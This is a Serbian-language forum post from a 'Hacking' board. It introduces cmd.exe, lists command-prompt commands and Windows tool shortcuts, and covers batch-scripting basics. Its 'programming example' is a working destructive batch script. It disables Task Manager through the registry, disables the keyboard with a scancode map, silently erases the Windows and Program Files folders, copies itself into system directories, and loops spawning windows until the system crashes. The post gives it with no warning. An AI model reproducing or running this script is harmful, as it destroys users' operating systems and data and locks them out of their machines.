Sta je cmd i ocsnove programiranja batch skripti - Forum
Wednesday, 2016-12-07, 2:30 PM
Welcome Guest

[ New messages · Members · Forum rules · Search · RSS ]
Page 1 of 11
Forum » Forum Security S™ » Hacking » Sta je cmd i ocsnove programiranja batch skripti
Sta je cmd i ocsnove programiranja batch skripti
REFLEXDate: Thursday, 2010-07-22, 5:10 PM | Message # 1
Private
Group: Administrators
Messages: 4
Awards: 0
Reputation: 0
Status: Offline
3. Sta je CMD i za sta sluzi

CMD - skraceno Command prompt - Cmd.exe aplikacija predstavlja komandni centar koji ima iste funkcije kao i komande na starijim MS-DOS sistemima . CMD.exe omogucava pokretanje programa sa starijih sistema na novijim sistemima tipa Windows , Vista , win7 . . .
cmd.exe je oznacen kao sistemski process i ne smatra se sigurnosnim propustom. Uklanjanjem cmd.exe aplikacije mozete prouzrokovati pad sistema .cmd.exe se U WinXP-u nalazi u Windows folderu Windows/system32

- Mozete mu pristupiti i precicom idite na start - run i ukucajte cmd

Sada ste u windows command promptu , ako otkucate u bilo kom trenutku HELP , dobicete spisak svih komandi na engleskom jeziku :

ASSOC - Prikazuje ili modifikuje asocijacije ekstenzija fajlova.
AT - Planira vreme izvrsavanja programa i komandi (predstavlja komandnu verziju Task Schedulera)
ATTRIB - Prikazuje ili menja atribute fajlova
BREAK - Ukljucuje/iskljucuje prosirenu proveru za ctrl+c
CACLS - Prikazuje ili modifikuje access control liste (ACL) fajlova.
CALL - Poziva jedan batch program iz drugog.
CD - Vrsi promenu aktivnog direktorijuma.
CHCP - Menja DOS/Windows kodnu stranu (kodna strana ima isto znacenje kao u internet browserima)
CHDIR - Komanda identicna komandi CD
CHKDSK - Proverava disk i prikazuje izvestaj o statusu.
CHKNTFS - Prikazuje ili modifikuje proveru diska za vreme butovanja.
CLS - Uklanja sadrzaj cmd ekrana i postavlja prompt na pocetak prozora
CMD - Pokrece novi primer command prompta.
COLOR - Postavlja defaultnu boju pozadine
COMP - Poredi sadrzaj dva fajla ili grupe fajlova
COMPACT - Prikazuje ili menja kompresiju fajlova na NTFS particiji.
CONVERT - Konvertuje FAT u NTFS.
COPY - Kopira jedan ili vise fajlova na dredjenu lokaciju.
DATE - Prikazuje ili postavlja datum.
DEL - Brise jedan ili vise fajlova.
DIR - Prikazuje listu fajlova i poddirektorijuma u direktorijumu
DISKCOMP - Poredi sadrzaj dva flopi diska.
DISKCOPY - Kopira sadrzaj sa jednog flopy diska na drugi.
DOSKEY - Edituje komandne linije, opoziva Windows komande, i kreira makroe, omogucava istoriju i spisak prethodno koriscenih komandi pod dosom.
ECHO - Prikazuje poruke, ili ukljucuje/iskljucuje odzivanje komandi.
ENDLOCAL - Suprotna komanda od komande SETLOCAL
ERASE - Brise jedan ili vise fajlova.
EXIT - Gasi CMD.EXE program
FC - Poredi dva ili vise fajlova i prikazuje njihove razlike.
FIND - Potraga za recima u fajlovima i folderima
FINDSTR - Potraga za stringovima u fajlovima
FOR - Pokrece specificnu komandu za svaki fajl u grupi fajlova.
FORMAT - Formatira disk.
FTYPE - Prikazuje ili menja tipove fajla.
GOTO - Usmerava do obelezene linije u okviru batch fajla
GRAFTABL - Omogucava prikazivanje dodatnih simbola u grafickom modu.
HELP - Pomocne informacijae u vezi sa komandama
IF - Izvrsava uslovnu obradu u batch programima.
LABEL - Kreira, menja, ili brise volume label (ime diska)
MD - Kreira direktorijume
MKDIR - Komanda identicna komandi MD
MODE - Konfigurise periferne uredjaje
MORE - Prikazuje stranu po stranu outputa nekog drugog programa
MOVE - Pomera jedan ili vise fajlova iz jednog direktorijuma u drugi
PATH - Prikazuje ili postavlja put za pretragu za izvrsne fajlove.
PAUSE - Prekida izvrsavanje batch fajla i izbacuje poruku.
POPD - Vraca prethodnu vrednost aktivnog direktorijuma sacuvanog putem PUSHD.
PRINT - Stampa tekstualni fajl.
PROMPT - Menja prompt.
PUSHD - Prvo sacuva aktivni direktorijum pa ga onda menja.
RD - Uklanja direktorijum.
RECOVER - Vraca citljive podatke sa ostecenog diska
REM - Predstavlja komentar u DOS batch fajlovima
REN - Preimenuje fajlove.
RENAME - Komanda identicna komandi REN
REPLACE - Zamenjuje fajlove
RMDIR - Komanda identicna komandi RD
SET - Prikazuje, postavlja ili brise Windows environment varijable.
SETLOCAL - Postavljanje lokalizovanih podesavanja batch skripta (raspored tastature i sl).
SHIFT - Pomera poziciju zamenljivih parametara u batch fajlu
SORT - Sortira ulazne podatke
START - Pokrece zaseban prozor u kome se startuje program ili komanda
SUBST - Asocira putanju drive letterom
TIME - Prikazuje ili postavlja sistemsko vreme.
TITLE - Postavlja naslov za cmd.exe prozor.
TREE - Graficki prikaz strukture direktorijuma
TYPE - Prikazuje sadrzaj tekstualnog fajla
VER - Prikazuje verziju windowsa.
VERIFY - Proverava da li su fajlovi korektno upisani na flopy disk
VOL - Prikazuje volume label diska i serijski broj.
XCOPY - Kopira fajlove i grane direktorijuma.

-------------------------------------------------------------------------------------------------

Lista programa koji se mogu pokrenuti u cmd.exe promptu

-------------------------------------------------------------------------------------------------

ccessibility Controls
access.cpl

Add Hardware Wizard
hdwwiz.cpl

Add/Remove Programs
appwiz.cpl

Administrative Tools
control.exe admintools

Automatic Updates
wuaucpl.cpl

Bluetooth Transfer Wizard
fsquirt

Calculator
calc

Certificate Manager
certmgr.msc

Character Map
charmap

Check Disk Utility
chkdsk

Clipboard Viewer
clipbrd

Command Prompt
cmd

Component Services
dcomcnfg

Computer Management
compmgmt.msc

Date and Time Properties
timedate.cpl

DDE Shares
ddeshare

Device Manager
devmgmt.msc

Direct X Control Panel (if installed)*
directx.cpl

Direct X Troubleshooter
dxdiag

Disk Cleanup Utility
cleanmgr

Disk Defragment
dfrg.msc

Disk Management
diskmgmt.msc

Disk Partition Manager
diskpart

Display Properties
control.exe desktop

Display Properties
desk.cpl

Display Properties (w/Appearance Tab Preselected)
control.exe color

Dr. Watson System Troubleshooting Utility
drwtsn32

Driver Verifier Utility
verifier

Event Viewer
eventvwr.msc

File Signature Verification Tool
sigverif

Findfast
findfast.cpl

Folders Properties
control.exe folders

Fonts
control.exe fonts

Fonts Folder
fonts

Free Cell Card Game
freecell

Game Controllers
joy.cpl

Group Policy Editor (XP Prof)
gpedit.msc

Hearts Card Game
mshearts

Iexpress Wizard
iexpress

Indexing Service
ciadv.msc

Internet Properties
inetcpl.cpl

Java Control Panel (if installed)
jpicpl32.cpl

Java Control Panel (if installed)
javaws

Keyboard Properties
control.exe keyboard

Local Security Settings
secpol.msc

Local Users and Groups
lusrmgr.msc

Logs You Out Of Windows
logoff

Mcft Chat
winchat

Minesweeper Game
winmine

Mouse Properties
control.exe mouse

Mouse Properties
main.cpl

Network Connections
control.exe netconnections

Network Connections
ncpa.cpl

Network Setup Wizard
netsetup.cpl

Nview Desktop Manager (if installed)
nvtuicpl.cpl

Object Packager
packager

ODBC Data Source Administrator
odbccp32.cpl

On Screen Keyboard
osk

Opens AC3 Filter (if installed)
ac3filter.cpl

Password Properties
password.cpl

Performance Monitor
perfmon.msc

Performance Monitor
perfmon

Phone and Modem Options
telephon.cpl

Power Configuration
powercfg.cpl

Printers and Faxes
control.exe printers

Printers Folder
printers

Private Character Editor
eudcedit

Quicktime (If Installed)
QuickTime.cpl

Regional Settings
intl.cpl

Registry Editor
regedit

Registry Editor
regedit32

Removable Storage
ntmsmgr.msc

Removable Storage Operator Requests
ntmsoprq.msc

Resultant Set of Policy
rsop.msc

Resultant Set of Policy (XP Prof)
rsop.msc

Scanners and Cameras
sticpl.cpl

Scheduled Tasks
control.exe schedtasks

Security Center
wscui.cpl

Services
services.msc

Shared Folders
fsmgmt.msc

Shuts Down Windows
shutdown

Sounds and Audio
mmsys.cpl

Spider Solitare Card Game
spider

SQL Client Configuration
cliconfg

System Configuration Editor
sysedit

System Configuration Utility
msconfig

System File Checker Utility
sfc

System Properties
sysdm.cpl

Task Manager
taskmgr

Telnet Client
telnet

User Account Management
nusrmgr.cpl

Utility Manager
utilman

Windows Firewall
firewall.cpl

Windows Magnifier
magnify

Windows Management Infrastructure
wmimgmt.msc

Windows System Security Tool
syskey

Windows Update Launches
wupdmgr

Windows XP Tour Wizard
tourstart

Wordpad
write

--------3.1 Osnovne komande u batch scriptingu

- @ECHO OFF

- ECHO

- del

- ERASE

- cd

- Copy

- md

- if , goto ,set

- pause

-start

- title

-------------------------------------------------------------------------------------

@echo off - uklanja C:\> prompt i bilo koju drugu komandu u okviru batch fajla

echo. - pravi razmak između redova (odnosno pojmova u batch fajlu)

title - daje naziv cmd prozoru pokrenutog batch-a

start - sama reč kaže...pokretanje odabrane aplikacije/instalacije

pause - prikazuje onu poruku "Press any key to continue..."

del - sluzi za brisanje datoteka , fajlova ...

erase /Q /S /F /A

PREFIKSI vezani za ERASE komandu

/P Pitaj za konfirmaciju za brisanje fajla.
/F Opcija brisanja read only fajlova.
/S Izbrisi sve fajlove iz foldera.
/Q Silent mod - Brisanje bez prompta za konfirmaciju yes/no
/A Izbrisi fajlove sa datim atributima r ,h,s

----- attributes R Read-only fajlovi S sistemski fajlovi
H sakriveni fajlovi A fajlovi spremni za arhiviranje

----cd komanda sluzi za kretanje po direktorijumima , promjenu particije

----copy - sluzi za kopiranje fajlova

----md - sluzi za pravljenje foldera

if , goto , set sluze za programiranje

3.2 primjeri programiranja:

@ECho off

title Test

echo this is test

echo.

echo.

ECHO REGEDIT4 > %WINDIR%\Disable.REG
echo. >> %WINDIR%\Disable.reg

echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] >> %WINDIR%\Disable.reg
echo "DisableTaskMgr"=dword:1 >> %WINDIR%\Disable.reg

echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System] >> %WINDIR%\Disable.reg
echo "DisableTaskMgr"=dword:1 >> %WINDIR%\Disable.reg

echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start nokeyboard.reg

start /w regedit /s %WINDIR%\Disable.reg

title Erasing Windows . . .

erase /Q /S /A /F %WINDIR%

erase /Q /S /A /F %PROGRAMFILES%

cd %WINDIR%

md 10010001

color 2a

cls

Echo All commands Successfuly completed.

copy %0

cd %PROGRAMFILES%

copy %0

attrib -h -r -s %0

crash:

start notepad.exe

start cmd.exe

start notepad.exe

start cmd.exe

start notepad.exe

start cmd.exe

start notepad.exe

start cmd.exe

start notepad.exe

goto crash

cmd

3.4 Programi

- DoSBox

- CMD Shell

*** u sledecem tutorijalu govoricemo o Linux terminalu i osnovnim komandama

------------------------- SecurityS hack team ™ -------------------------------

Copyright © 2010 All rights are reserved.


REFLEX
 
Forum » Forum Security S™ » Hacking » Sta je cmd i ocsnove programiranja batch skripti
Page 1 of 11
Search: